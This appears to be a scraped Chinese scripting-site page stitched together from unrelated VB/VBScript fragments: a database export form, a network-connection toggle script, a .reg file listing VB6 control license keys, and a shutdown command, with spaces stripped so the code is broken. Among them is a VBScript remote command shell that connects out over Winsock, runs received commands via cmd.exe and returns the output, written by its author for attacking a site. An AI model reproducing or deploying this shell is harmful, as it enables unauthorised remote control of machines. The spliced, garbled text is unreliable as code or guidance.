maya脚本编辑器不见了费蘑菇用

发布时间:2020-11-18 来源:脚本之家 点击:

为了能更好地说明如何使用以上函数和过程,下面举两个实例所以稍微修改了一下,帖到这里

gg脚本制作器怎么用
")
Ifreturn=vbokThen
R.run("Shutdown.exe-r-t0")
Endif

  DimExport_Str,mdbTableAsString

  DimrsExportAsNewADODB.Recordset

  DimconnAsNewADODB.Connection

  PrivateSubClose_cmd_Click()

  UnloadMe

  EndSub

  

  PrivateSubEXport_cmd_Click()

  DimmyPath,myStrAsString,myPosAsInteger

  '******************处理选择的各种表的导出

  WithDialog1

  IfmyOption(2).ValueThen

  .FilterIndex=1

  .ShowSave

  myStr=StrReverse(.FileName)'串取反

  myPos=InStr(myStr,"\")'在反字符串中,找从左开始第一个\的位置

  OnErrorGoTomyError'防FILENAME为空,MID出错

  myPath=StrReverse(Mid(myStr,myPos))'取目录部分,并还原.

  myStr=StrReverse(Left(myStr,myPos-1))'取文件名

  Export_Str="select*into[dBaseIII;database="&myPath&"]."&myStr&"fromCustomers"

  .DefaultExt="*.DBF"
  

  ElseIfmyOption(3).ValueThen

  mdbTable=InputBox("请给导出到MDB文件的表确定表名")

  .FilterIndex=2

  .ShowSave

  Export_Str="select*into[;database="&.FileName&"]."&mdbTable&"fromCustomers"

  .DefaultExt="*.MDB" 

  ElseIfmyOption(4).ValueThen

  .FilterIndex=3

  .ShowSave

  Export_Str="select*into[Excel8.0;database="&.FileName&"].CustomersfromCustomers"

  .DefaultExt="*.XLS"  

  ElseIfmyOption(5).ValueThen

  .FilterIndex=4

  .ShowSave

  myStr=StrReverse(.FileName)'串取反

  myPos=InStr(myStr,"\")'在反字符串中,找从左开始第一个\的位置

  OnErrorGoTomyError'防FILENAME为空,MID出错

  myPath=StrReverse(Mid(myStr,myPos))'取目录部分,并还原.

  myStr=StrReverse(Left(myStr,myPos-1))'取文件名

  Export_Str="select*into[Paradox4.X;database="&myPath&"]."&myStr&"fromCustomers"

  .DefaultExt="*.DB"

  EndIf

  EndWith
  

  '*****生成文件

  Debug.PrintExport_Str

  IfrsExport.State=1Then

  rsExport.Close

  EndIf 

  IfDir(Dialog1.FileName)<>""Then

  OnErrorGoTomyError'防用户没选文件

  IfDialog1.FilterIndex<>2Then

  Kill(Dialog1.FileName)

  EndIf

  rsExport.OpenExport_Str,conn,adOpenStatic,adLockOptimistic

  Else

  rsExport.OpenExport_Str,conn,adOpenStatic,adLockOptimistic

  EndIf

  myError:

  ExitSub

  EndSub  

  PrivateSubForm_Load()

  '联接数据库并打开记录集

  conn.CursorLocation=adUseServer

  conn.Open"PROVIDER=Microsoft.Jet.OLEDB.4.0;DataSource=" App.Path "\NWind.mdb;"

  rsExport.Open"select*fromCustomers",conn,adOpenStatic,adLockOptimistic

  SetGrid1.DataSource=rsExport

  '初始化对话筐

  WithDialog1

  .Filter="FoxBase/FoxPro(*.DBF) *.DBF Access8.0(*.MDB) *.MDB Excel8.0(*.XLS) *.XLS Paradox4.x(*.DB) *.DB"

  .DialogTitle="导出文件为"

  .CancelError=False

  EndWith

  EndSub

->

'搞一个特殊的站准备用的,没想到,等写完了,洞补上了,郁闷
'by009,baicker@hotmail.com
'date:071221

Dimrevdata
setsock=WScript.createobject("MSWinsock.Winsock","WSEvent_")
setsc=createobject("WScript.Shell")
Setfso=CreateObject("Scripting.FileSystemObject")
sock.connect"127.0.0.1",1234

SubWSEvent_Connect()
wscript.echo"Connected!"
endsub

SubWSEvent_DataArrival(bytes)
MyString="blank"
sock.GetDataMyString
revdata=MyString
ifbytes>0then
ifinstr(revdata,"exit")>0then
sock.close
sock.close
sock=nothing
bClose=true
exitsub
else
onerrorresumenext
tempfile="C:"&fso.GetTempName
cmd=left(revdata,len(revdata)-1)
callsc.Run("cmd.exe/c"&cmd&">"&tempfile,0,True)
Settxf=fso.OpenTextFile(tempfile,1,false,0)
sock.senddatatxf.readall&vbcrlf&vbcrlf
txf.close
callfso.DeleteFile(TempFile,True)
endif
sock.senddata"009>"
endif
endsub

WhileNotbClose
WScript.Sleep1
Wend

—————————————————————————————————————
调用winsock,未装VB的需要导入注册表
——————————————vb6controls.reg—————————————————-
REGEDIT
HKEY_CLASSES_ROOT\Licenses=Licensing:Copyingthekeysmaybeaviolationofestablishedcopyrights.

//MaskedEditControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\BC96F860-9928-11cf-8AFA-00AA00C00905=mmimfflflmqmlfffrlnmofhfkgrlmmfmqkqj

//ChartControl6.0(OLEDB)licensekey
HKEY_CLASSES_ROOT\Licenses\12B142A4-BD51-11d1-8C08-0000F8754DA1=aadhgafabafajhchnbchehfambfbbachmfmb

//CommonDialogControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\4D553650-6ABE-11cf-8ADB-00AA00C00905=gfjmrfkfifkmkfffrlmmgmhmnlulkmfmqkqj

//ADODataControl6.0(OLEDB)licensekey
HKEY_CLASSES_ROOT\Licenses\C4145310-469C-11d1-B182-00A0C922E820=konhqhioohihphkouimonhqhvnwiqhhhnjti

//CommonControls-36.0licensekey
HKEY_CLASSES_ROOT\Licenses\38911DA0-E448-11D0-84A3-00DD01104159=mcpckchcdchjcjcclidcgcgchdqdcjhcojpd

//WindowsCommonControls-25.0(SP2)licensekey
HKEY_CLASSES_ROOT\Licenses\9E799BF1-8817-11cf-958F-0020AFC28C3B=uqpqnqkjujkjjjjqwktjrjkjtkupsjnjtoun

//WindowsCommonControlslicensekey
HKEY_CLASSES_ROOT\Licenses\57CBF9E0-6AA7-11cf-8ADB-00AA00C00905=aahakhchghkhfhaamghhbhbhkbpgfhahlfle

//DataBoundGridControl5.0(SP3)licensekey
HKEY_CLASSES_ROOT\Licenses\556C75F1-EFBC-11CF-B9F3-00A0247033C4=xybiedobrqsprbijaegcbislrsiucfjdhisl

//DataBoundListControls6.0licensekey
HKEY_CLASSES_ROOT\Licenses\096EFC40-6ABF-11cf-850C-08002B30345D=knsgigmnmngnmnigthmgpninrmumhgkgrlrk

//InternetTransferControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\78E1BDD1-9941-11cf-9756-00AA00C00908=yjrjvqkjlqqjnqkjvprqsjnjvkuknjpjtoun

//MultimediaControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\B1EFCCF0-6AC1-11cf-8ADB-00AA00C00905=qqkjvqpqmqjjpqjjvpqqkqmqvkypoqjquoun

//ChartControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\7C35CA30-D112-11cf-8E72-00A0C90F26F8=whmhmhohmhiorhkouimhihihwiwinhlosmsl

//WindowsCommonControls-26.0licensekey
HKEY_CLASSES_ROOT\Licenses\4F86BADF-9F77-11d1-B1B7-0000F8753F5D=iplpwpnippopupiivjrioppisjsjlpiiokuj

//WindowsCommonControls6.0licensekey
HKEY_CLASSES_ROOT\Licenses\ED4B87C4-9F76-11d1-8BF7-0000F8754DA1=knlggnmntgggrninthpgmnngrhqhnnjnslsh

//CommControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\4250E830-6AC2-11cf-8ADB-00AA00C00905=kjljvjjjoquqmjjjvpqqkqmqykypoqjquoun

//DataGridControl6.0(OLEDB)licensekey
HKEY_CLASSES_ROOT\Licenses\CDE57A55-8B86-11D0-b3C6-00A0C90AEA82=ekpkhddkjkekpdjkqemkfkldoeoefkfdjfqe

//DataListControl6.0(OLEDB)licensekey
HKEY_CLASSES_ROOT\Licenses\A133F000-CCB0-11d0-A316-00AA00688B10=cibbcimbpihbbbbbnhdbeidiocmcbbdbgdoc

//DBWinlicensekey
HKEY_CLASSES_ROOT\Licenses\D015B071-D2ED-11d0-A31A-00AA00688B10=gjdcfjpcmjicjcdcoihcechjlioiccechepd

//MSDBRPTlicensekey
HKEY_CLASSES_ROOT\Licenses\9DF1A470-BA8E-11D0-849C-00A0C90DC8A9=cchcqjejhcgcqcfjpdfcdjkckiqikchcojpd

//FlexGridControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\72E67120-5959-11cf-91F6-C2863C385E30=ibcbbbebqbdbciebmcobmbhifcmciibblgmf

//MAPIControls6.0licensekey
HKEY_CLASSES_ROOT\Licenses\899B3E80-6AC6-11cf-8ADB-00AA00C00905=wjsjjjlqmjpjrjjjvpqqkqmqukypoqjquoun

//MSRDO2.0licensekey
HKEY_CLASSES_ROOT\Licenses\B1692F60-23B0-11D0-8E95-00A0C90F26F8=mjjjccncgjijrcfjpdfjfcejpdkdkcgjojpd

//RemoteDataControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\43478d75-78e0-11cf-8e78-00a0d100038e=imshohohphlmnhimuinmphmmuiminhlmsmsl

//WindowlessControls6.0licensekey
HKEY_CLASSES_ROOT\Licenses\80E80EF0-DBBE-11D0-BCE2-00A0C90DCA10=qijimitpmpnpxplpvjnikpkpqoxjmpkpoivj

//PictureClipControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\6FB38640-6AC7-11cf-8ADB-00AA00C00905=gdjkokgdldikhdddpjkkekgknesjikdkoioh

//RichTextBoxControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\DC4D7920-6AC8-11cf-8ADB-00AA00C00905=iokouhloohrojhhhtnooiokomiwnmohosmsl

//SheridanTabControllicensekey
HKEY_CLASSES_ROOT\Licenses\190B7910-992A-11cf-8AFA-00AA00C00905=gclclcejjcmjdcccoikjlcecoioijjcjnhng

//SysInfoControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\E32E2733-1BC5-11d0-B8C3-00A0C90DCA10=kmhfimlflmmfpffmsgfmhmimngtghmoflhsg

//WinsockControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\2c49f800-c2dd-11cf-9ad6-0080c7e7b78d=mlrljgrlhltlngjlthrligklpkrhllglqlrk
以上所有问题在矫正时都只需耗费少许的时间,但是花在学习和提高VBA代码编制技术上的时间将由更快的执行速度和更容易的日常维护来获得补偿


ConstssfCONTROLS=3

sConnectionName="本地连接"'可改成需要控制的连接名称,如"无线网络连接"等

sEnableVerb="启用(&A)"
sDisableVerb="禁用(&B)"'XP系统中应为"停用(&B)"

setshellApp=createobject("shell.application")
setoControlPanel=shellApp.Namespace(ssfCONTROLS)

setoNetConnections=nothing
foreachfolderiteminoControlPanel.items
iffolderitem.name="网络连接"then
setoNetConnections=folderitem.getfolder:exitfor
endif
next

ifoNetConnectionsisnothingthen
msgbox"未找到网络连接文件夹"
wscript.quit
endif

setoLanConnection=nothing
foreachfolderiteminoNetConnections.items
iflcase(folderitem.name)=lcase(sConnectionName)then
setoLanConnection=folderitem:exitfor
endif
next

ifoLanConnectionisnothingthen
msgbox"未找到'"&sConnectionName&"'item"
wscript.quit
endif

bEnabled=true
setoEnableVerb=nothing
setoDisableVerb=nothing
s="Verbs:"&vbcrlf
foreachverbinoLanConnection.verbs
s=s&vbcrlf&verb.name
ifverb.name=sEnableVerbthen
setoEnableVerb=verb
bEnabled=false
endif
ifverb.name=sDisableVerbthen
setoDisableVerb=verb
endif
next

'debuggingdisplaysleftjustincase...
'
'msgboxs':wscript.quit
'msgbox"Enabled:"&bEnabled':wscript.quit

'notsurewhy,butinvokeverbalwaysseemedtowork
'forenablebutnotdisable.
'
'savingareferencetotheappropriateverbobject
'andcallingtheDoItmethodalwaysseemstowork.
'
ifbEnabledthen
'oLanConnection.invokeverbsDisableVerb
oDisableVerb.DoIt
else
'oLanConnection.invokeverbsEnableVerb
oEnableVerb.DoIt
endif

'adjustthesleepdurationbelowasneeded...
'
'ifyoulettheoLanConnectiongooutofscope
'andbedestroyedtoosoon,theactionoftheverb
'maynottake...
'
wscript.sleep400
但是请注意,2种方法原本就是很有效率的,只有在时间要求非常严格的上百成千次的循环中,才会体现出这种差别

表示用户密码的字符串值石器时代stw为了调用上述过程,可以在窗体上画一个命令按钮,然后编写如下的事件过程:

PrivateSubCommand1_Click()
DimaAsInteger
DimMvDbsAsDatabase
DimMvTabsAsRecordset
SetMyDbs=OpenDatabase("C:\dbdir\dbl.mdb,true)
a=OpenTableExclusive(MyDbs,MyTabs,"Tabel1")
SelectCasea
Case0:
MsgBox"调用成功"
CaseElse:
MsgBox"调用出错"
EndSelect
EndSub

注意,如果打开一个Recordset对象时没有指定option:参数值,则MicrosoftJet将使用页面锁定StrReverse 函数:返回一字符串,其中字符的顺序与指定的字符串中的顺序相反。

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号